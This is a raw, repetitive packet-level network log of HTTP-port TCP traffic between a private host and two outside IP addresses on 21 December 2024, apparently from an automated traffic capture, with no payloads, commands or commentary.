                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.121377945 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.121658087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.121714115 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.122461081 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.122512102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.122682095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.122734070 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.123574018 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.123641014 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.123761892 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.123812914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.124767065 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.124842882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.124870062 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.124886990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.125968933 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.126004934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.126058102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.127002954 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.127062082 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.127109051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.127157927 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.128196001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.128257990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.128304958 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.128355980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.129472971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.129532099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.129606962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.129657984 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.130553007 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.130620003 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.130620956 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.130670071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.131649017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.131704092 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.131786108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.131839991 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.132826090 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.132879019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.132935047 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.132989883 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.133877993 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.133929968 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.158520937 CET4985980192.168.2.4212.193.31.8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.158852100 CET4986880192.168.2.4212.193.31.8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.232348919 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.232407093 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.232424974 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.232494116 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.232692003 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.232736111 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.232798100 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.232852936 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.233942032 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.234034061 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.234036922 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.234078884 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.235042095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.235090971 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.235104084 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.235189915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.269881010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.269916058 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.269929886 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.269963026 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.270245075 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.270292044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.270665884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.270703077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.270718098 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.270750999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.271895885 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.271943092 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.272084951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.272178888 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.273020029 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.273067951 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.273073912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.273128033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.273987055 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.274034977 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.274039030 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.274094105 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.275135040 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.275183916 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.275381088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.275433064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.276504040 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.276552916 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.276633024 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.276683092 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.277403116 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.277456045 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.277551889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.277632952 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278413057 CET8049859212.193.31.8192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278465986 CET4985980192.168.2.4212.193.31.8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278646946 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278701067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278707027 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278734922 CET8049868212.193.31.8192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278747082 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278806925 CET4986880192.168.2.4212.193.31.8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.278996944 CET4986880192.168.2.4212.193.31.8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.279788017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.279824018 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.279834032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.279867887 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.281109095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.281158924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.281212091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.281260014 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.282077074 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.282133102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.282165051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.282212019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.283154964 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.283209085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.283210039 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.283279896 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.284353018 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.284416914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.284593105 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.284671068 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.285521030 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.285577059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.285733938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.285784960 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.286653996 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.286712885 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.286727905 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.286780119 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.287848949 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.287883997 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.287902117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.287930965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.288955927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.289006948 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.289030075 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.289077044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.290113926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.290163994 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.290185928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.290235043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.291205883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.291378975 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.291385889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.291425943 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.292341948 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.292395115 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.292478085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.292586088 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.293598890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.293704987 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.293760061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.294987917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.295041084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.295069933 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.295120001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.295928955 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.295986891 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.296021938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.296214104 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.296921968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.296972036 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.297120094 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.297169924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.298152924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.298197985 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.298202991 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.298255920 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.299246073 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.299299002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.299336910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.299381018 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.300409079 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.300457954 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.300491095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.300538063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.301561117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.301613092 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.301673889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.301736116 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.302757025 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.302791119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.302817106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.302833080 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.303828001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.303884029 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.303945065 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.303998947 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.305030107 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.305083990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.305195093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.305244923 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.306104898 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.306162119 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.306237936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.306287050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.307281017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.307328939 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.307390928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.307548046 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.308407068 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.308456898 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.308459044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.308506966 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.309562922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.309612036 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.309668064 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.309719086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.310775995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.310827017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.310832977 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.310874939 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.311889887 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.311944008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.311996937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.312046051 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.313028097 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.313081980 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.313096046 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.313123941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.314205885 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.314264059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.314271927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.314321995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.315423012 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.315478086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.315542936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.315596104 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.316497087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.316548109 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.316549063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.316597939 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.317574978 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.317636967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.317714930 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.317765951 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.318747044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.318799019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.318847895 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.319112062 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.320069075 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.320149899 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.320179939 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.320235014 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.321122885 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.321168900 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.321181059 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.321234941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.322186947 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.322233915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.322298050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.322346926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.323394060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.323467016 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.323501110 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.323551893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.324573994 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.324625969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.324631929 CET804985031.41.244.11192.168.2.4
